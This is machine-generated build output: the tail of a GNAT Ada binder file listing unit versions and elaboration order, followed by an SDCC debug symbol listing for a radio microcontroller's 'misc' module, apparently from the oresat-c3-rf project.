u00080 : constant Version_32 := 16#181dc502#; pragma Export (C, u00080, "ada__text_io__generic_auxB"); u00081 : constant Version_32 := 16#a6c327d3#; pragma Export (C, u00081, "ada__text_io__generic_auxS"); u00082 : constant Version_32 := 16#18d57884#; pragma Export (C, u00082, "system__img_biuB"); u00083 : constant Version_32 := 16#afb4a0b7#; pragma Export (C, u00083, "system__img_biuS"); u00084 : constant Version_32 := 16#e7d8734f#; pragma Export (C, u00084, "system__img_llbB"); u00085 : constant Version_32 := 16#ee73b049#; pragma Export (C, u00085, "system__img_llbS"); u00086 : constant Version_32 := 16#9777733a#; pragma Export (C, u00086, "system__img_lliB"); u00087 : constant Version_32 := 16#e581d9eb#; pragma Export (C, u00087, "system__img_lliS"); u00088 : constant Version_32 := 16#0e8808d4#; pragma Export (C, u00088, "system__img_llwB"); u00089 : constant Version_32 := 16#471f93df#; pragma Export (C, u00089, "system__img_llwS"); u00090 : constant Version_32 := 16#428b07f8#; pragma Export (C, u00090, "system__img_wiuB"); u00091 : constant Version_32 := 16#c1f52725#; pragma Export (C, u00091, "system__img_wiuS"); u00092 : constant Version_32 := 16#7ebd8839#; pragma Export (C, u00092, "system__val_intB"); u00093 : constant Version_32 := 16#bc6ba605#; pragma Export (C, u00093, "system__val_intS"); u00094 : constant Version_32 := 16#b3aa7b17#; pragma Export (C, u00094, "system__val_lliB"); u00095 : constant Version_32 := 16#6eea6a9a#; pragma Export (C, u00095, "system__val_lliS"); u00096 : constant Version_32 := 16#06052bd0#; pragma Export (C, u00096, "system__val_lluB"); u00097 : constant Version_32 := 16#13647f88#; pragma Export (C, u00097, "system__val_lluS"); u00098 : constant Version_32 := 16#2bce1226#; pragma Export (C, u00098, "system__memoryB"); u00099 : constant Version_32 := 16#adb3ea0e#; pragma Export (C, u00099, "system__memoryS"); -- BEGIN ELABORATION ORDER -- ada%s -- interfaces%s -- system%s -- system.case_util%s -- system.case_util%b -- system.htable%s -- system.img_int%s -- system.img_int%b -- system.img_lli%s -- system.img_lli%b -- system.parameters%s -- system.parameters%b -- system.crtl%s -- interfaces.c_streams%s -- interfaces.c_streams%b -- system.standard_library%s -- system.exceptions_debug%s -- system.exceptions_debug%b -- system.storage_elements%s -- system.storage_elements%b -- system.stack_checking%s -- system.stack_checking%b -- system.string_hash%s -- system.string_hash%b -- system.htable%b -- system.strings%s -- system.strings%b -- system.os_lib%s -- system.traceback_entries%s -- system.traceback_entries%b -- ada.exceptions%s -- system.soft_links%s -- system.unsigned_types%s -- system.img_biu%s -- system.img_biu%b -- system.img_llb%s -- system.img_llb%b -- system.img_llw%s -- system.img_llw%b -- system.img_wiu%s -- system.img_wiu%b -- system.val_int%s -- system.val_lli%s -- system.val_llu%s -- system.val_uns%s -- system.val_util%s -- system.val_util%b -- system.val_uns%b -- system.val_llu%b -- system.val_lli%b -- system.val_int%b -- system.wch_con%s -- system.wch_con%b -- system.wch_cnv%s -- system.wch_jis%s -- system.wch_jis%b -- system.wch_cnv%b -- system.wch_stw%s -- system.wch_stw%b -- ada.exceptions.last_chance_handler%s -- ada.exceptions.last_chance_handler%b -- system.exception_table%s -- system.exception_table%b -- ada.io_exceptions%s -- ada.tags%s -- ada.streams%s -- ada.streams%b -- interfaces.c%s -- system.exceptions%s -- system.exceptions%b -- system.exceptions.machine%s -- system.file_control_block%s -- system.file_io%s -- system.finalization_root%s -- system.finalization_root%b -- ada.finalization%s -- ada.finalization%b -- system.memory%s -- system.memory%b -- system.standard_library%b -- system.secondary_stack%s -- system.file_io%b -- interfaces.c%b -- ada.tags%b -- system.soft_links%b -- system.os_lib%b -- system.secondary_stack%b -- system.traceback%s -- ada.exceptions%b -- system.traceback%b -- ada.text_io%s -- ada.text_io%b -- ada.text_io.generic_aux%s -- ada.text_io.generic_aux%b -- ada.text_io.integer_aux%s -- ada.text_io.integer_aux%b -- ada.integer_text_io%s -- ada.integer_text_io%b -- faktor%b -- END ELABORATION ORDER end ada_main;
oresat/oresat-c3-rf
Ada
30,548
adb
M:misc F:G$lcd2_display_radio_error$0$0({2}DF,SV:S),Z,0,0,0,0,0 F:G$dbglink_display_radio_error$0$0({2}DF,SV:S),Z,0,0,0,0,0 F:Fmisc$delayms_callback$0$0({2}DF,SV:S),C,0,0,0,0,0 F:G$delay_ms$0$0({2}DF,SV:S),Z,0,4,0,0,0 S:Lmisc.delay_ms$ms$1$346({2}SI:U),R,0,0,[r6,r7] S:Lmisc.delay_ms$x$1$347({4}SL:U),B,1,1 T:Fmisc$wtimer_callback[({0}S:S$next$0$0({2}DX,STwtimer_callback:S),Z,0,0)({2}S:S$handler$0$0({2}DC,DF,SV:S),Z,0,0)] T:Fmisc$axradio_status_receive[({0}S:S$phy$0$0({10}STaxradio_status_receive_phy:S),Z,0,0)({10}S:S$mac$0$0({12}STaxradio_status_receive_mac:S),Z,0,0)({22}S:S$pktdata$0$0({2}DX,SC:U),Z,0,0)({24}S:S$pktlen$0$0({2}SI:U),Z,0,0)] T:Fmisc$axradio_address[({0}S:S$addr$0$0({5}DA5d,SC:U),Z,0,0)] T:Fmisc$axradio_address_mask[({0}S:S$addr$0$0({5}DA5d,SC:U),Z,0,0)({5}S:S$mask$0$0({5}DA5d,SC:U),Z,0,0)] T:Fmisc$__00000000[({0}S:S$rx$0$0({26}STaxradio_status_receive:S),Z,0,0)({0}S:S$cs$0$0({3}STaxradio_status_channelstate:S),Z,0,0)] T:Fmisc$axradio_status_channelstate[({0}S:S$rssi$0$0({2}SI:S),Z,0,0)({2}S:S$busy$0$0({1}SC:U),Z,0,0)] T:Fmisc$u32endian[({0}S:S$b0$0$0({1}SC:U),Z,0,0)({1}S:S$b1$0$0({1}SC:U),Z,0,0)({2}S:S$b2$0$0({1}SC:U),Z,0,0)({3}S:S$b3$0$0({1}SC:U),Z,0,0)] T:Fmisc$u16endian[({0}S:S$b0$0$0({1}SC:U),Z,0,0)({1}S:S$b1$0$0({1}SC:U),Z,0,0)] T:Fmisc$errtbl[({0}S:S$errcode$0$0({1}SC:U),Z,0,0)({1}S:S$msg$0$0({2}DC,SC:U),Z,0,0)] T:Fmisc$wtimer_desc[({0}S:S$next$0$0({2}DX,STwtimer_desc:S),Z,0,0)({2}S:S$handler$0$0({2}DC,DF,SV:S),Z,0,0)({4}S:S$time$0$0({4}SL:U),Z,0,0)] T:Fmisc$axradio_status_receive_mac[({0}S:S$remoteaddr$0$0({5}DA5d,SC:U),Z,0,0)({5}S:S$localaddr$0$0({5}DA5d,SC:U),Z,0,0)({10}S:S$raw$0$0({2}DX,SC:U),Z,0,0)] T:Fmisc$calsector[({0}S:S$id$0$0({5}DA5d,SC:U),Z,0,0)({5}S:S$len$0$0({1}SC:U),Z,0,0)({6}S:S$devid$0$0({6}DA6d,SC:U),Z,0,0)({12}S:S$calg00gain$0$0({2}DA2d,SC:U),Z,0,0)({14}S:S$calg01gain$0$0({2}DA2d,SC:U),Z,0,0)({16}S:S$calg10gain$0$0({2}DA2d,SC:U),Z,0,0)({18}S:S$caltempgain$0$0({2}DA2d,SC:U),Z,0,0)({20}S:S$caltempoffs$0$0({2}DA2d,SC:U),Z,0,0)({22}S:S$frcoscfreq$0$0({2}DA2d,SC:U),Z,0,0)({24}S:S$lposcfreq$0$0({2}DA2d,SC:U),Z,0,0)({26}S:S$lposcfreq_fast$0$0({2}DA2d,SC:U),Z,0,0)({28}S:S$powctrl0$0$0({1}SC:U),Z,0,0)({29}S:S$powctrl1$0$0({1}SC:U),Z,0,0)({30}S:S$ref$0$0({1}SC:U),Z,0,0)] T:Fmisc$axradio_status_receive_phy[({0}S:S$rssi$0$0({2}SI:S),Z,0,0)({2}S:S$offset$0$0({4}SL:S),Z,0,0)({6}S:S$timeoffset$0$0({2}SI:S),Z,0,0)({8}S:S$period$0$0({2}SI:S),Z,0,0)] T:Fmisc$axradio_status[({0}S:S$status$0$0({1}SC:U),Z,0,0)({1}S:S$error$0$0({1}SC:U),Z,0,0)({2}S:S$time$0$0({4}SL:U),Z,0,0)({6}S:S$u$0$0({26}ST__00000000:S),Z,0,0)] S:G$random_seed$0$0({2}SI:U),E,0,0 S:Lmisc.enter_critical$crit$1$29({1}SC:U),E,0,0 S:Lmisc.exit_critical$crit$1$30({1}SC:U),E,0,0 S:Lmisc.lcd2_display_radio_error$err$1$336({1}SC:U),R,0,0,[r7] S:Lmisc.lcd2_display_radio_error$p$1$337({2}DC,STerrtbl:S),R,0,0,[r5,r6] S:G$ADCCH0VAL0$0$0({1}SC:U),F,0,0 S:G$ADCCH0VAL1$0$0({1}SC:U),F,0,0 S:G$ADCCH0VAL$0$0({2}SI:U),F,0,0 S:G$ADCCH1VAL0$0$0({1}SC:U),F,0,0 S:G$ADCCH1VAL1$0$0({1}SC:U),F,0,0 S:G$ADCCH1VAL$0$0({2}SI:U),F,0,0 S:G$ADCCH2VAL0$0$0({1}SC:U),F,0,0 S:G$ADCCH2VAL1$0$0({1}SC:U),F,0,0 S:G$ADCCH2VAL$0$0({2}SI:U),F,0,0 S:G$ADCCH3VAL0$0$0({1}SC:U),F,0,0 S:G$ADCCH3VAL1$0$0({1}SC:U),F,0,0 S:G$ADCCH3VAL$0$0({2}SI:U),F,0,0 S:G$ADCTUNE0$0$0({1}SC:U),F,0,0 S:G$ADCTUNE1$0$0({1}SC:U),F,0,0 S:G$ADCTUNE2$0$0({1}SC:U),F,0,0 S:G$DMA0ADDR0$0$0({1}SC:U),F,0,0 S:G$DMA0ADDR1$0$0({1}SC:U),F,0,0 S:G$DMA0ADDR$0$0({2}SI:U),F,0,0 S:G$DMA0CONFIG$0$0({1}SC:U),F,0,0 S:G$DMA1ADDR0$0$0({1}SC:U),F,0,0 S:G$DMA1ADDR1$0$0({1}SC:U),F,0,0 S:G$DMA1ADDR$0$0({2}SI:U),F,0,0 S:G$DMA1CONFIG$0$0({1}SC:U),F,0,0 S:G$FRCOSCCONFIG$0$0({1}SC:U),F,0,0 S:G$FRCOSCCTRL$0$0({1}SC:U),F,0,0 S:G$FRCOSCFREQ0$0$0({1}SC:U),F,0,0 S:G$FRCOSCFREQ1$0$0({1}SC:U),F,0,0 S:G$FRCOSCFREQ$0$0({2}SI:U),F,0,0 S:G$FRCOSCKFILT0$0$0({1}SC:U),F,0,0 S:G$FRCOSCKFILT1$0$0({1}SC:U),F,0,0 S:G$FRCOSCKFILT$0$0({2}SI:U),F,0,0 S:G$FRCOSCPER0$0$0({1}SC:U),F,0,0 S:G$FRCOSCPER1$0$0({1}SC:U),F,0,0 S:G$FRCOSCPER$0$0({2}SI:U),F,0,0 S:G$FRCOSCREF0$0$0({1}SC:U),F,0,0 S:G$FRCOSCREF1$0$0({1}SC:U),F,0,0 S:G$FRCOSCREF$0$0({2}SI:U),F,0,0 S:G$ANALOGA$0$0({1}SC:U),F,0,0 S:G$GPIOENABLE$0$0({1}SC:U),F,0,0 S:G$EXTIRQ$0$0({1}SC:U),F,0,0 S:G$INTCHGA$0$0({1}SC:U),F,0,0 S:G$INTCHGB$0$0({1}SC:U),F,0,0 S:G$INTCHGC$0$0({1}SC:U),F,0,0 S:G$PALTA$0$0({1}SC:U),F,0,0 S:G$PALTB$0$0({1}SC:U),F,0,0 S:G$PALTC$0$0({1}SC:U),F,0,0 S:G$PALTRADIO$0$0({1}SC:U),F,0,0 S:G$PINCHGA$0$0({1}SC:U),F,0,0 S:G$PINCHGB$0$0({1}SC:U),F,0,0 S:G$PINCHGC$0$0({1}SC:U),F,0,0 S:G$PINSEL$0$0({1}SC:U),F,0,0 S:G$LPOSCCONFIG$0$0({1}SC:U),F,0,0 S:G$LPOSCFREQ0$0$0({1}SC:U),F,0,0 S:G$LPOSCFREQ1$0$0({1}SC:U),F,0,0 S:G$LPOSCFREQ$0$0({2}SI:U),F,0,0 S:G$LPOSCKFILT0$0$0({1}SC:U),F,0,0 S:G$LPOSCKFILT1$0$0({1}SC:U),F,0,0 S:G$LPOSCKFILT$0$0({2}SI:U),F,0,0 S:G$LPOSCPER0$0$0({1}SC:U),F,0,0 S:G$LPOSCPER1$0$0({1}SC:U),F,0,0 S:G$LPOSCPER$0$0({2}SI:U),F,0,0 S:G$LPOSCREF0$0$0({1}SC:U),F,0,0 S:G$LPOSCREF1$0$0({1}SC:U),F,0,0 S:G$LPOSCREF$0$0({2}SI:U),F,0,0 S:G$LPXOSCGM$0$0({1}SC:U),F,0,0 S:G$MISCCTRL$0$0({1}SC:U),F,0,0 S:G$OSCCALIB$0$0({1}SC:U),F,0,0 S:G$OSCFORCERUN$0$0({1}SC:U),F,0,0 S:G$OSCREADY$0$0({1}SC:U),F,0,0 S:G$OSCRUN$0$0({1}SC:U),F,0,0 S:G$RADIOFDATAADDR0$0$0({1}SC:U),F,0,0 S:G$RADIOFDATAADDR1$0$0({1}SC:U),F,0,0 S:G$RADIOFDATAADDR$0$0({2}SI:U),F,0,0 S:G$RADIOFSTATADDR0$0$0({1}SC:U),F,0,0 S:G$RADIOFSTATADDR1$0$0({1}SC:U),F,0,0 S:G$RADIOFSTATADDR$0$0({2}SI:U),F,0,0 S:G$RADIOMUX$0$0({1}SC:U),F,0,0 S:G$SCRATCH0$0$0({1}SC:U),F,0,0 S:G$SCRATCH1$0$0({1}SC:U),F,0,0 S:G$SCRATCH2$0$0({1}SC:U),F,0,0 S:G$SCRATCH3$0$0({1}SC:U),F,0,0 S:G$SILICONREV$0$0({1}SC:U),F,0,0 S:G$XTALAMPL$0$0({1}SC:U),F,0,0 S:G$XTALOSC$0$0({1}SC:U),F,0,0 S:G$XTALREADY$0$0({1}SC:U),F,0,0 S:G$radio_lcd_display$0$0({0}DA0d,SC:U),F,0,0 S:G$radio_not_found_lcd_display$0$0({0}DA0d,SC:U),F,0,0 S:Fmisc$flash_deviceid$0$0({6}DA6d,SC:U),F,0,0 S:Fmisc$flash_calsector$0$0({31}STcalsector:S),F,0,0 S:Fmisc$delaymstimer$0$0({8}STwtimer_desc:S),F,0,0 S:G$ACC$0$0({1}SC:U),I,0,0 S:G$B$0$0({1}SC:U),I,0,0 S:G$DPH$0$0({1}SC:U),I,0,0 S:G$DPH1$0$0({1}SC:U),I,0,0 S:G$DPL$0$0({1}SC:U),I,0,0 S:G$DPL1$0$0({1}SC:U),I,0,0 S:G$DPTR0$0$0({2}SI:U),I,0,0 S:G$DPTR1$0$0({2}SI:U),I,0,0 S:G$DPS$0$0({1}SC:U),I,0,0 S:G$E2IE$0$0({1}SC:U),I,0,0 S:G$E2IP$0$0({1}SC:U),I,0,0 S:G$EIE$0$0({1}SC:U),I,0,0 S:G$EIP$0$0({1}SC:U),I,0,0 S:G$IE$0$0({1}SC:U),I,0,0 S:G$IP$0$0({1}SC:U),I,0,0 S:G$PCON$0$0({1}SC:U),I,0,0 S:G$PSW$0$0({1}SC:U),I,0,0 S:G$SP$0$0({1}SC:U),I,0,0 S:G$XPAGE$0$0({1}SC:U),I,0,0 S:G$_XPAGE$0$0({1}SC:U),I,0,0 S:G$ADCCH0CONFIG$0$0({1}SC:U),I,0,0 S:G$ADCCH1CONFIG$0$0({1}SC:U),I,0,0 S:G$ADCCH2CONFIG$0$0({1}SC:U),I,0,0 S:G$ADCCH3CONFIG$0$0({1}SC:U),I,0,0 S:G$ADCCLKSRC$0$0({1}SC:U),I,0,0 S:G$ADCCONV$0$0({1}SC:U),I,0,0 S:G$ANALOGCOMP$0$0({1}SC:U),I,0,0 S:G$CLKCON$0$0({1}SC:U),I,0,0 S:G$CLKSTAT$0$0({1}SC:U),I,0,0 S:G$CODECONFIG$0$0({1}SC:U),I,0,0 S:G$DBGLNKBUF$0$0({1}SC:U),I,0,0 S:G$DBGLNKSTAT$0$0({1}SC:U),I,0,0 S:G$DIRA$0$0({1}SC:U),I,0,0 S:G$DIRB$0$0({1}SC:U),I,0,0 S:G$DIRC$0$0({1}SC:U),I,0,0 S:G$DIRR$0$0({1}SC:U),I,0,0 S:G$PINA$0$0({1}SC:U),I,0,0 S:G$PINB$0$0({1}SC:U),I,0,0 S:G$PINC$0$0({1}SC:U),I,0,0 S:G$PINR$0$0({1}SC:U),I,0,0 S:G$PORTA$0$0({1}SC:U),I,0,0 S:G$PORTB$0$0({1}SC:U),I,0,0 S:G$PORTC$0$0({1}SC:U),I,0,0 S:G$PORTR$0$0({1}SC:U),I,0,0 S:G$IC0CAPT0$0$0({1}SC:U),I,0,0 S:G$IC0CAPT1$0$0({1}SC:U),I,0,0 S:G$IC0CAPT$0$0({2}SI:U),I,0,0 S:G$IC0MODE$0$0({1}SC:U),I,0,0 S:G$IC0STATUS$0$0({1}SC:U),I,0,0 S:G$IC1CAPT0$0$0({1}SC:U),I,0,0 S:G$IC1CAPT1$0$0({1}SC:U),I,0,0 S:G$IC1CAPT$0$0({2}SI:U),I,0,0 S:G$IC1MODE$0$0({1}SC:U),I,0,0 S:G$IC1STATUS$0$0({1}SC:U),I,0,0 S:G$NVADDR0$0$0({1}SC:U),I,0,0 S:G$NVADDR1$0$0({1}SC:U),I,0,0 S:G$NVADDR$0$0({2}SI:U),I,0,0 S:G$NVDATA0$0$0({1}SC:U),I,0,0 S:G$NVDATA1$0$0({1}SC:U),I,0,0 S:G$NVDATA$0$0({2}SI:U),I,0,0 S:G$NVKEY$0$0({1}SC:U),I,0,0 S:G$NVSTATUS$0$0({1}SC:U),I,0,0 S:G$OC0COMP0$0$0({1}SC:U),I,0,0 S:G$OC0COMP1$0$0({1}SC:U),I,0,0 S:G$OC0COMP$0$0({2}SI:U),I,0,0 S:G$OC0MODE$0$0({1}SC:U),I,0,0 S:G$OC0PIN$0$0({1}SC:U),I,0,0 S:G$OC0STATUS$0$0({1}SC:U),I,0,0 S:G$OC1COMP0$0$0({1}SC:U),I,0,0 S:G$OC1COMP1$0$0({1}SC:U),I,0,0 S:G$OC1COMP$0$0({2}SI:U),I,0,0 S:G$OC1MODE$0$0({1}SC:U),I,0,0 S:G$OC1PIN$0$0({1}SC:U),I,0,0 S:G$OC1STATUS$0$0({1}SC:U),I,0,0 S:G$RADIOACC$0$0({1}SC:U),I,0,0 S:G$RADIOADDR0$0$0({1}SC:U),I,0,0 S:G$RADIOADDR1$0$0({1}SC:U),I,0,0 S:G$RADIOADDR$0$0({2}SI:U),I,0,0 S:G$RADIODATA0$0$0({1}SC:U),I,0,0 S:G$RADIODATA1$0$0({1}SC:U),I,0,0 S:G$RADIODATA2$0$0({1}SC:U),I,0,0 S:G$RADIODATA3$0$0({1}SC:U),I,0,0 S:G$RADIODATA$0$0({4}SL:U),I,0,0 S:G$RADIOSTAT0$0$0({1}SC:U),I,0,0 S:G$RADIOSTAT1$0$0({1}SC:U),I,0,0 S:G$RADIOSTAT$0$0({2}SI:U),I,0,0 S:G$SPCLKSRC$0$0({1}SC:U),I,0,0 S:G$SPMODE$0$0({1}SC:U),I,0,0 S:G$SPSHREG$0$0({1}SC:U),I,0,0 S:G$SPSTATUS$0$0({1}SC:U),I,0,0 S:G$T0CLKSRC$0$0({1}SC:U),I,0,0 S:G$T0CNT0$0$0({1}SC:U),I,0,0 S:G$T0CNT1$0$0({1}SC:U),I,0,0 S:G$T0CNT$0$0({2}SI:U),I,0,0 S:G$T0MODE$0$0({1}SC:U),I,0,0 S:G$T0PERIOD0$0$0({1}SC:U),I,0,0 S:G$T0PERIOD1$0$0({1}SC:U),I,0,0 S:G$T0PERIOD$0$0({2}SI:U),I,0,0 S:G$T0STATUS$0$0({1}SC:U),I,0,0 S:G$T1CLKSRC$0$0({1}SC:U),I,0,0 S:G$T1CNT0$0$0({1}SC:U),I,0,0 S:G$T1CNT1$0$0({1}SC:U),I,0,0 S:G$T1CNT$0$0({2}SI:U),I,0,0 S:G$T1MODE$0$0({1}SC:U),I,0,0 S:G$T1PERIOD0$0$0({1}SC:U),I,0,0 S:G$T1PERIOD1$0$0({1}SC:U),I,0,0 S:G$T1PERIOD$0$0({2}SI:U),I,0,0 S:G$T1STATUS$0$0({1}SC:U),I,0,0 S:G$T2CLKSRC$0$0({1}SC:U),I,0,0 S:G$T2CNT0$0$0({1}SC:U),I,0,0 S:G$T2CNT1$0$0({1}SC:U),I,0,0 S:G$T2CNT$0$0({2}SI:U),I,0,0 S:G$T2MODE$0$0({1}SC:U),I,0,0 S:G$T2PERIOD0$0$0({1}SC:U),I,0,0 S:G$T2PERIOD1$0$0({1}SC:U),I,0,0 S:G$T2PERIOD$0$0({2}SI:U),I,0,0 S:G$T2STATUS$0$0({1}SC:U),I,0,0 S:G$U0CTRL$0$0({1}SC:U),I,0,0 S:G$U0MODE$0$0({1}SC:U),I,0,0 S:G$U0SHREG$0$0({1}SC:U),I,0,0 S:G$U0STATUS$0$0({1}SC:U),I,0,0 S:G$U1CTRL$0$0({1}SC:U),I,0,0 S:G$U1MODE$0$0({1}SC:U),I,0,0 S:G$U1SHREG$0$0({1}SC:U),I,0,0 S:G$U1STATUS$0$0({1}SC:U),I,0,0 S:G$WDTCFG$0$0({1}SC:U),I,0,0 S:G$WDTRESET$0$0({1}SC:U),I,0,0 S:G$WTCFGA$0$0({1}SC:U),I,0,0 S:G$WTCFGB$0$0({1}SC:U),I,0,0 S:G$WTCNTA0$0$0({1}SC:U),I,0,0 S:G$WTCNTA1$0$0({1}SC:U),I,0,0 S:G$WTCNTA$0$0({2}SI:U),I,0,0 S:G$WTCNTB0$0$0({1}SC:U),I,0,0 S:G$WTCNTB1$0$0({1}SC:U),I,0,0 S:G$WTCNTB$0$0({2}SI:U),I,0,0 S:G$WTCNTR1$0$0({1}SC:U),I,0,0 S:G$WTEVTA0$0$0({1}SC:U),I,0,0 S:G$WTEVTA1$0$0({1}SC:U),I,0,0 S:G$WTEVTA$0$0({2}SI:U),I,0,0 S:G$WTEVTB0$0$0({1}SC:U),I,0,0 S:G$WTEVTB1$0$0({1}SC:U),I,0,0 S:G$WTEVTB$0$0({2}SI:U),I,0,0 S:G$WTEVTC0$0$0({1}SC:U),I,0,0 S:G$WTEVTC1$0$0({1}SC:U),I,0,0 S:G$WTEVTC$0$0({2}SI:U),I,0,0 S:G$WTEVTD0$0$0({1}SC:U),I,0,0 S:G$WTEVTD1$0$0({1}SC:U),I,0,0 S:G$WTEVTD$0$0({2}SI:U),I,0,0 S:G$WTIRQEN$0$0({1}SC:U),I,0,0 S:G$WTSTAT$0$0({1}SC:U),I,0,0 S:G$ACC_0$0$0({1}SX:U),J,0,0 S:G$ACC_1$0$0({1}SX:U),J,0,0 S:G$ACC_2$0$0({1}SX:U),J,0,0 S:G$ACC_3$0$0({1}SX:U),J,0,0 S:G$ACC_4$0$0({1}SX:U),J,0,0 S:G$ACC_5$0$0({1}SX:U),J,0,0 S:G$ACC_6$0$0({1}SX:U),J,0,0 S:G$ACC_7$0$0({1}SX:U),J,0,0 S:G$B_0$0$0({1}SX:U),J,0,0 S:G$B_1$0$0({1}SX:U),J,0,0 S:G$B_2$0$0({1}SX:U),J,0,0 S:G$B_3$0$0({1}SX:U),J,0,0 S:G$B_4$0$0({1}SX:U),J,0,0 S:G$B_5$0$0({1}SX:U),J,0,0 S:G$B_6$0$0({1}SX:U),J,0,0 S:G$B_7$0$0({1}SX:U),J,0,0 S:G$E2IE_0$0$0({1}SX:U),J,0,0 S:G$E2IE_1$0$0({1}SX:U),J,0,0 S:G$E2IE_2$0$0({1}SX:U),J,0,0 S:G$E2IE_3$0$0({1}SX:U),J,0,0 S:G$E2IE_4$0$0({1}SX:U),J,0,0 S:G$E2IE_5$0$0({1}SX:U),J,0,0 S:G$E2IE_6$0$0({1}SX:U),J,0,0 S:G$E2IE_7$0$0({1}SX:U),J,0,0 S:G$E2IP_0$0$0({1}SX:U),J,0,0 S:G$E2IP_1$0$0({1}SX:U),J,0,0 S:G$E2IP_2$0$0({1}SX:U),J,0,0 S:G$E2IP_3$0$0({1}SX:U),J,0,0 S:G$E2IP_4$0$0({1}SX:U),J,0,0 S:G$E2IP_5$0$0({1}SX:U),J,0,0 S:G$E2IP_6$0$0({1}SX:U),J,0,0 S:G$E2IP_7$0$0({1}SX:U),J,0,0 S:G$EIE_0$0$0({1}SX:U),J,0,0 S:G$EIE_1$0$0({1}SX:U),J,0,0 S:G$EIE_2$0$0({1}SX:U),J,0,0 S:G$EIE_3$0$0({1}SX:U),J,0,0 S:G$EIE_4$0$0({1}SX:U),J,0,0 S:G$EIE_5$0$0({1}SX:U),J,0,0 S:G$EIE_6$0$0({1}SX:U),J,0,0 S:G$EIE_7$0$0({1}SX:U),J,0,0 S:G$EIP_0$0$0({1}SX:U),J,0,0 S:G$EIP_1$0$0({1}SX:U),J,0,0 S:G$EIP_2$0$0({1}SX:U),J,0,0 S:G$EIP_3$0$0({1}SX:U),J,0,0 S:G$EIP_4$0$0({1}SX:U),J,0,0 S:G$EIP_5$0$0({1}SX:U),J,0,0 S:G$EIP_6$0$0({1}SX:U),J,0,0 S:G$EIP_7$0$0({1}SX:U),J,0,0 S:G$IE_0$0$0({1}SX:U),J,0,0 S:G$IE_1$0$0({1}SX:U),J,0,0 S:G$IE_2$0$0({1}SX:U),J,0,0 S:G$IE_3$0$0({1}SX:U),J,0,0 S:G$IE_4$0$0({1}SX:U),J,0,0 S:G$IE_5$0$0({1}SX:U),J,0,0 S:G$IE_6$0$0({1}SX:U),J,0,0 S:G$IE_7$0$0({1}SX:U),J,0,0 S:G$EA$0$0({1}SX:U),J,0,0 S:G$IP_0$0$0({1}SX:U),J,0,0 S:G$IP_1$0$0({1}SX:U),J,0,0 S:G$IP_2$0$0({1}SX:U),J,0,0 S:G$IP_3$0$0({1}SX:U),J,0,0 S:G$IP_4$0$0({1}SX:U),J,0,0 S:G$IP_5$0$0({1}SX:U),J,0,0 S:G$IP_6$0$0({1}SX:U),J,0,0 S:G$IP_7$0$0({1}SX:U),J,0,0 S:G$P$0$0({1}SX:U),J,0,0 S:G$F1$0$0({1}SX:U),J,0,0 S:G$OV$0$0({1}SX:U),J,0,0 S:G$RS0$0$0({1}SX:U),J,0,0 S:G$RS1$0$0({1}SX:U),J,0,0 S:G$F0$0$0({1}SX:U),J,0,0 S:G$AC$0$0({1}SX:U),J,0,0 S:G$CY$0$0({1}SX:U),J,0,0 S:G$PINA_0$0$0({1}SX:U),J,0,0 S:G$PINA_1$0$0({1}SX:U),J,0,0 S:G$PINA_2$0$0({1}SX:U),J,0,0 S:G$PINA_3$0$0({1}SX:U),J,0,0 S:G$PINA_4$0$0({1}SX:U),J,0,0 S:G$PINA_5$0$0({1}SX:U),J,0,0 S:G$PINA_6$0$0({1}SX:U),J,0,0 S:G$PINA_7$0$0({1}SX:U),J,0,0 S:G$PINB_0$0$0({1}SX:U),J,0,0 S:G$PINB_1$0$0({1}SX:U),J,0,0 S:G$PINB_2$0$0({1}SX:U),J,0,0 S:G$PINB_3$0$0({1}SX:U),J,0,0 S:G$PINB_4$0$0({1}SX:U),J,0,0 S:G$PINB_5$0$0({1}SX:U),J,0,0 S:G$PINB_6$0$0({1}SX:U),J,0,0 S:G$PINB_7$0$0({1}SX:U),J,0,0 S:G$PINC_0$0$0({1}SX:U),J,0,0 S:G$PINC_1$0$0({1}SX:U),J,0,0 S:G$PINC_2$0$0({1}SX:U),J,0,0 S:G$PINC_3$0$0({1}SX:U),J,0,0 S:G$PINC_4$0$0({1}SX:U),J,0,0 S:G$PINC_5$0$0({1}SX:U),J,0,0 S:G$PINC_6$0$0({1}SX:U),J,0,0 S:G$PINC_7$0$0({1}SX:U),J,0,0 S:G$PORTA_0$0$0({1}SX:U),J,0,0 S:G$PORTA_1$0$0({1}SX:U),J,0,0 S:G$PORTA_2$0$0({1}SX:U),J,0,0 S:G$PORTA_3$0$0({1}SX:U),J,0,0 S:G$PORTA_4$0$0({1}SX:U),J,0,0 S:G$PORTA_5$0$0({1}SX:U),J,0,0 S:G$PORTA_6$0$0({1}SX:U),J,0,0 S:G$PORTA_7$0$0({1}SX:U),J,0,0 S:G$PORTB_0$0$0({1}SX:U),J,0,0 S:G$PORTB_1$0$0({1}SX:U),J,0,0 S:G$PORTB_2$0$0({1}SX:U),J,0,0 S:G$PORTB_3$0$0({1}SX:U),J,0,0 S:G$PORTB_4$0$0({1}SX:U),J,0,0 S:G$PORTB_5$0$0({1}SX:U),J,0,0 S:G$PORTB_6$0$0({1}SX:U),J,0,0 S:G$PORTB_7$0$0({1}SX:U),J,0,0 S:G$PORTC_0$0$0({1}SX:U),J,0,0 S:G$PORTC_1$0$0({1}SX:U),J,0,0 S:G$PORTC_2$0$0({1}SX:U),J,0,0 S:G$PORTC_3$0$0({1}SX:U),J,0,0 S:G$PORTC_4$0$0({1}SX:U),J,0,0 S:G$PORTC_5$0$0({1}SX:U),J,0,0 S:G$PORTC_6$0$0({1}SX:U),J,0,0 S:G$PORTC_7$0$0({1}SX:U),J,0,0 S:G$delay$0$0({2}DF,SV:S),C,0,0 S:G$random$0$0({2}DF,SI:U),C,0,0 S:G$signextend12$0$0({2}DF,SL:S),C,0,0 S:G$signextend16$0$0({2}DF,SL:S),C,0,0 S:G$signextend20$0$0({2}DF,SL:S),C,0,0 S:G$signextend24$0$0({2}DF,SL:S),C,0,0 S:G$hweight8$0$0({2}DF,SC:U),C,0,0 S:G$hweight16$0$0({2}DF,SC:U),C,0,0 S:G$hweight32$0$0({2}DF,SC:U),C,0,0 S:G$signedlimit16$0$0({2}DF,SI:S),C,0,0 S:G$checksignedlimit16$0$0({2}DF,SC:U),C,0,0 S:G$signedlimit32$0$0({2}DF,SL:S),C,0,0 S:G$checksignedlimit32$0$0({2}DF,SC:U),C,0,0 S:G$gray_encode8$0$0({2}DF,SC:U),C,0,0 S:G$gray_decode8$0$0({2}DF,SC:U),C,0,0 S:G$rev8$0$0({2}DF,SC:U),C,0,0 S:G$fmemset$0$0({2}DF,SV:S),C,0,0 